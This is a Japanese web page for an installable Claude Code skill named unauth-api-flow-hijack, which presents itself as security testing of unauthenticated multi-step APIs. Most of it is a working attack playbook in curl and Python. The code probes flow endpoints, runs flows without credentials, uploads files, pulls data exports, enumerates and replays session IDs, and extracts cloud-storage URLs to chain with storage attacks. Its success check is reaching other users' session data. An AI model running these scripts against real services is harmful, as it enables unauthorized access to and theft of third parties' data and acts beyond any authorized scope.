unauth-api-flow-hijack について
認証なしで動作する可能性のある多段階APIワークフローを評価するセキュリティテスト用スキルです。状態遷移を追い、アップロード、エクスポート、セッション識別子を調べます。
主な機能
- 01未認証ワークフローのエンドポイント検出
- 02多段階APIの状態遷移の把握
- 03認証なしでのファイルアップロード検査
- 04エクスポートとダウンロードのアクセス確認
- 05セッションIDの再利用・列挙の評価
活用シーン
- 01認証のない申請・チェックアウトフローの監査
- 02ワークフローのアップロードが公開取得可能か確認
- 03エクスポートや他セッションへのアクセス検査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill unauth-api-flow-hijackインストール後、Claude Code で/unauth-api-flow-hijackを入力して読み込まれたか確認します。
詳細
未認証 API フローの乗っ取り
どのステップでも認証が不要な、ビジネスワークフロー全体(面接、応募、購入手続き、オンボーディング)を実装する API エンドポイントを悪用します。単純なデータ漏えいとは異なり、こうしたフローでは攻撃者がアプリケーションの中核的なビジネスロジックに参加し、操作できます。フォームの送信、ファイルのアップロード、取引の完了、データのエクスポートが可能です。状態遷移全体に、認証情報なしでアクセスできます。
使用する状況
- API が複数ステップのワークフロー(開始 → ステップ1 → ステップ2 → … → 完了)を提供している。
- どのステップでも認証トークン、セッションクッキー、API キーが要求されない。
- API がセッション識別子(UUID、トークン)を返し、後続のステップで再利用できる。
- ワークフローにファイルのアップロード、データの送信、またはエクスポート機能が含まれている。
- エラーメッセージから想定されるリクエスト形式が判明する(エンドポイントが稼働中であることを確認できる)。
前提条件
- curl と python3 を使用できる
terminal。 - 認証なしで POST を受け付ける API エンドポイントが少なくとも 1 つ見つかっている。
- エンドポイントが、後続のステップに渡せる識別子(セッション ID、面接 ID、トークン)を返す。
迅速な検出
# Probe common flow-starting endpoints
for ep in /start /api/start /api/v1/start /begin /init /api/init \
/start-interview /api/interview/start /api/session/start; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /tmp/resp.json -w "%{http_code}" \
-X POST "https://target.com$ep" \
-H "Content-Type: application/json" -d '{}')
if [ "$code" = "200" ] || [ "$code" = "201" ]; then
echo "=== $ep ($code) ==="
cat /tmp/resp.json | python3 -m json.tool 2>/dev/null | head -20
# Extract any returned ID
cat /tmp/resp.json | python3 -c "
import sys,json,re
try:
d=json.load(sys.stdin)
for k in d:
if any(x in k.lower() for x in ['id','token','session','key']):
print(f'{k}: {d[k]}')
except: pass
"
fi
done
手順
フェーズ 1 — フローのマッピング
API の自然な進行に沿って、すべてのステップを特定します。
import requests, json
BASE = "https://target.com"
session = requests.Session()
# Step 1: Start the flow
r = session.post(f"{BASE}/api/flow/start", json={})
data = r.json()
flow_id = data.get("id") or data.get("sessionId") or data.get("token")
print(f"Started: {flow_id}")
# Step 2-N: Follow the flow by submitting whatever the API asks for
for step in range(1, 20):
# Try generic submissions — the API's error messages will guide you
r = session.post(f"{BASE}/api/flow/submit", json={
"id": flow_id,
"answer": "test response",
"data": {"key": "value"}
})
resp = r.json()
print(f"Step {step}: {resp.get('currentStep', '?')} — {resp.get('message', '')[:80]}")
# Check for completion or blocked paths
if resp.get("complete") or resp.get("error"):
break
# Extract any requirements from the message
if "required" in str(resp).lower() or "invalid" in str(resp).lower():
print(f" Validation: {json.dumps(resp)[:200]}")
フェーズ 2 — ファイルアップロードの悪用
フローにファイルアップロードが含まれている場合、制限のないアップロードが可能かテストします。
# Test file upload without auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
-F "[email protected];type=application/pdf" \
-F "id=$FLOW_ID" | python3 -m json.tool
# The response often returns a public URL for the uploaded file
# Check if uploads are stored in a public bucket
フェーズ 3 — データエクスポートの悪用
多くのフローでは、完了時にエクスポートまたはダウンロードを利用できます。
# Test export without auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export" -o export.xlsx
file export.xlsx # Check if it's a real file with data
# Try export with different format parameters
for fmt in xlsx csv json pdf xml; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export?format=$fmt" -o "export.$fmt"
[ -s "export.$fmt" ] && echo "export.$fmt: $(wc -c < export.$fmt) bytes"
done
フェーズ 4 — 列挙と再実行
セッション ID が予測可能、または露出している場合は、他のセッションを列挙します。
# Check if IDs are sequential or enumerable
for id in $(seq 1 100); do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
"https://target.com/api/flow/status/$id")
[ "$code" = "200" ] && echo "Active: $id"
done
# Test if old session IDs can be replayed
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/submit" \
-H "Content-Type: application/json" \
-d '{"id": "OLD_SESSION_ID", "answer": "replay test"}'
フェーズ 5 — ストレージアクセスとの連鎖
アップロード先がクラウドストレージのバケットである場合は、クラウド攻撃スキルと組み合わせます。
# Extract storage URLs from upload responses
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
-F "[email protected]" \
-F "id=$FLOW_ID" | python3 -c "
import sys, json, re
data = sys.stdin.read()
for url in re.findall(r'https?://[^\s\"<>]+\.(?:supabase\.co|amazonaws\.com|storage\.googleapis\.com)[^\s\"<>]*', data):
print(f'STORAGE_URL: {url}')
"
注意点
- レート制限によってフローが失敗することがあります。 複数ステップの API では、IP ごとにレート制限されることがよくあります。各ステップの間隔を空けてください(0.5〜1 秒)。
- 状態には有効期限があります。 タイムアウト後にセッション ID を無効にするフローもあります。ステップが失敗し始めたら、フローを最初からやり直してください。
- 検証による制約があります。 API が有効なデータ形式(メールアドレス、電話番号、ファイル形式)を要求する場合があります。エラーメッセージをよく読んでください。必要な形式が正確に示されています。
- すべてのステップが POST とは限りません。 ステータス確認に GET、更新に PUT、キャンセルに DELETE を使うフローもあります。すべてのメソッドをテストしてください。
- エクスポートが空の場合があります。 開始直後のフローでは、空のエクスポートが生成されます。エクスポートをテストする前に、フローを最後まで実行してください。
検証
- 認証なしで、開始から完了までフロー全体を実行します。
- 各ステップで状態が変化し、その変化が後続のステップで確認できること(フローが進行すること)を検証します。
- ファイルがアップロードされ、取得できることを確認します(返された URL を確認します)。
- エクスポートに実データが含まれることを検証します(ファイルサイズと内容を確認します)。
- セッション ID を列挙できる場合は、別のセッションへのアクセスを確認します(他のセッションのデータにアクセスします)。
関連スキル
api-noauth-hunt— 認証のない API エンドポイントを検出します。hardcoded-credential-hunt— フロー内の権限の高いステップを解除するパスワードを探します。hunt-write-gap— 読み取り認証なしで書き込みを受け付ける POST/PUT エンドポイントを調査します。hunt-idor— フローのセッション ID における安全でない直接オブジェクト参照を悪用します。firebase-supabase-attack— アップロード先が Supabase/Firebase ストレージの場合に使用します。
コメント
Markdown 対応